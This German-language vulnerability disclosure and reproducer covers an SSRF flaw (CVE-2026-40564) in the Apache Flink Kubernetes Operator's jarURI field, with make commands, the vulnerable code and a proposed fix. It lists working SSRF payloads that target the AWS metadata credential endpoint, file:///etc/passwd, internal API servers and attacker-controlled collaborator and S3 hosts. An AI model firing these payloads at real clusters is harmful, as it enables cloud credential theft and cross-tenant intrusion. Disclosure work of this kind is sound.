
CVE-2026-40564: SSRF via FlinkSessionJob jarURI in apache/flink-kubernetes-operator. Self-contained reproducer that runs on a local kind cluster with one make command.
Der Apache Flink Kubernetes Operator prüft das Feld spec.job.jarURI in FlinkSessionJob- (oder FlinkDeployment-)Ressourcen nicht. Jeder, der eine solche Ressource erstellen kann, kann jarURI auf eine beliebige URL setzen. Wenn der Operator die Ressource abgleicht, ruft er diese URL aus seinem eigenen Pod ab. Das Schema kann http, https, file oder eines der Dateisystem-Plugins sein, die Flink mitbringt, sodass die Anfrage praktisch überall hingehen kann, wohin der Operator-Pod Zugriff hat.
main (1.15-SNAPSHOT Stand 2026-04-09)[email protected] und [email protected] am 2026-04-09SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetchmake verify
Dies führt fünf Schritte nacheinander aus:
FlinkSessionJob, dessen jarURI darauf zeigtWenn es funktioniert, sieht das Ende der Ausführung wie folgt aus:
==> [5/5] verify-ssrf
target jarURI: https://webhook.site/<uuid>/exploit.jar
target is webhook.site, confirming via its REST API...
=== webhook.site captured requests (newest first) ===
2026-05-28 17:35:29 GET https://webhook.site/<uuid>/exploit.jar
User-Agent: Java/17.0.17
Source IP: 82.51.158.62
CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
Dashboard: https://webhook.site/#!/view/<uuid>
Der erste Durchlauf dauert etwa 6 bis 8 Minuten. Der größte Teil entfällt auf das Herunterladen des Images flink:1.17, das rund 700 MB groß ist. Spätere Durchläufe sind eher 3 Minuten.
docker, kind, kubectl 1.23 oder neuer, helm 3, make, curl und jq. Der Cluster muss Zugang zum Internet haben, um mit webhook.site kommunizieren zu können.
Standardmäßig holt das Makefile automatisch eine neue webhook.site-URL. Um die Anfrage an eine andere Adresse zu senden, setzen Sie SSRF_URL auf die vollständige jarURI, die Sie verwenden möchten. Sie wird so verwendet, wie sie angegeben wird.
# eine bestimmte webhook.site-URL wiederverwenden
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar
# eigener Collaborator (Burp, interactsh, ein netcat-Listener usw.)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar
# AWS-Instance-Metadaten-Service
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# ein Nicht-HTTP-Schema, das von der Flink-Dateisystemebene verarbeitet wird
make verify SSRF_URL=file:///etc/passwd
Wie die Prüfung das Ergebnis bestätigt, hängt vom Ziel ab. Wenn die URL auf webhook.site liegt, liest das Makefile über dessen REST-API und gibt die aufgezeichneten Anfragen aus. Für alles andere wird das Operator-Log gelesen und nach dem Stack-Frame HttpArtifactFetcher.fetch gesucht, der anzeigt, dass der Abruf stattgefunden hat. WEBHOOK_URL funktioniert ebenfalls und bedeutet dasselbe wie SSRF_URL.
make cleanup
Dies entfernt den kind-Cluster. Es bleibt nichts zurück.
Drei Klassen sind beteiligt, und keine von ihnen prüft das Schema, den Host oder die IP in jarURI.
DefaultValidator.validateJobSpec prüft Parallelität, Upgrade-Modus, Snapshot-Einstellungen und Ressourcenform. Es liest nie job.getJarURI():
private Optional<String> validateJobSpec(
JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
if (job == null) return Optional.empty();
Configuration configuration = Configuration.fromMap(confMap);
// ... Prüfungen zu Parallelität / UpgradeModus / Snapshot / Ressourcen ...
// job.getJarURI() wird nie untersucht.
return Optional.empty();
}
ArtifactManager.fetch wählt einen Fetcher basierend auf dem Schema aus. Es gibt keine Whitelist, und alles, was nicht http oder https ist, fällt auf die Flink-Dateisystemebene zurück:
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
URI uri = new URI(jarURI);
if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
} else {
return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
}
}
HttpArtifactFetcher.fetch öffnet die URL wie angegeben. Es gibt keine Host-Prüfung, keine IP-Bereichsprüfung und nichts, was den Zugriff auf Loopback- oder Link-Local-Adressen verhindert:
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
URL url = new URL(uri);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
try (var inputStream = conn.getInputStream()) {
FileUtils.copyToFile(inputStream, targetFile);
}
return targetFile;
}
Der Operator läuft in der Regel mit weitreichenden RBAC-Berechtigungen. Das offizielle Helm-Chart gewährt * auf mehrere Ressourcentypen, einschließlich Secrets, und der Pod kann normalerweise uneingeschränkt auf das Netzwerk zugreifen. Wenn Sie ihn dazu bringen können, Anfragen für Sie zu senden, können Sie:
FlinkSessionJob auslesenIn einem gemeinsam genutzten Cluster, in dem mehrere Teams denselben Operator verwenden, kann jedes Team ihn nutzen, um auf die Ressourcen eines anderen Teams zuzugreifen.
Der Reproduzierer verwendet standardmäßig webhook.site, aber der Bug fragt nicht nach der URL. Setzen Sie SSRF_URL oder bearbeiten Sie manifests/vulnerable-sessionjob.yaml auf eine der folgenden Angaben:
Fügen Sie eine Prüfung in DefaultValidator.validateJobSpec ein:
if (job.getJarURI() != null) {
Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
URI uri;
try {
uri = new URI(jarURI);
} catch (URISyntaxException e) {
return Optional.of("jarURI ist keine gültige URI: " + e.getMessage());
}
String scheme = uri.getScheme();
if (scheme == null) return Optional.of("jarURI muss ein Schema enthalten");
Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
return Optional.of("Das jarURI-Schema '" + scheme + "' ist nicht in der Whitelist");
}
if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
InetAddress addr;
try {
addr = InetAddress.getByName(uri.getHost());
} catch (UnknownHostException e) {
return Optional.of("Der jarURI-Host kann nicht aufgelöst werden");
}
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
|| addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
return Optional.of("Der jarURI-Host zeigt auf eine eingeschränkte Adresse");
}
}
return Optional.empty();
}
Geben Sie KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES einen Standardwert von Set.of("https"). Betreiber, die s3 oder ein anderes Schema benötigen, können dies hinzufügen.
Zwei weitere sinnvolle Maßnahmen:
NetworkPolicy für den Operator-Pod hinzu, die den ausgehenden Verkehr zu Link-Local (169.254.0.0/16), Loopback und den bekannten Cloud-Metadaten-Adressen blockiert.Das Makefile umgeht zwei Probleme, die kind unter Linux beeinträchtigen. Jede Prüfung wird nur ausgeführt, wenn das Problem tatsächlich vorliegt, sodass es sicher ist, es erneut auszuführen.
/etc/resolv.conf des kind-Knotens auf 127.0.0.1, sodass der Cluster externe Namen auf localhost auflöst. Der Schritt cluster-up überschreibt die CoreDNS-Konfiguration, um an 1.1.1.1 und 8.8.8.8 weiterzuleiten.ndots gleich 5 werden die Suchdomänen des Hosts zuerst an einen Namen wie webhook.site angehängt, und einige ISPs antworten mit 127.0.0.1 für Subdomänen, die sie nicht erkennen. Der Schritt install-operator gibt dem Operator-Pod eine eigene dnsConfig, sodass dies nicht passiert.Wenn ein vollständiger Durchlauf teilweise fehlschlägt, können Sie make verify-ssrf separat ausführen. Es liest die jarURI aus dem laufenden FlinkSessionJob und verlässt sich daher nicht auf lokal gespeicherte Daten.
jarURI | Erreicht |
|---|
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | AWS IMDSv1, die IAM-Anmeldeinformationen des Knotens des Operator-Pods |
http://10.0.0.1:6443/api | Ein In-Cluster-API-Server oder jeder interne Endpunkt, der die IP des Operators auf eine Whitelist setzt |
file:///etc/passwd | Das eigene Dateisystem des Operator-Pods über den Zweig des Dateisystem-Fetchers |
s3://attacker-bucket/x.jar | S3 unter Verwendung der Anmeldeinformationen des Operator-Pods |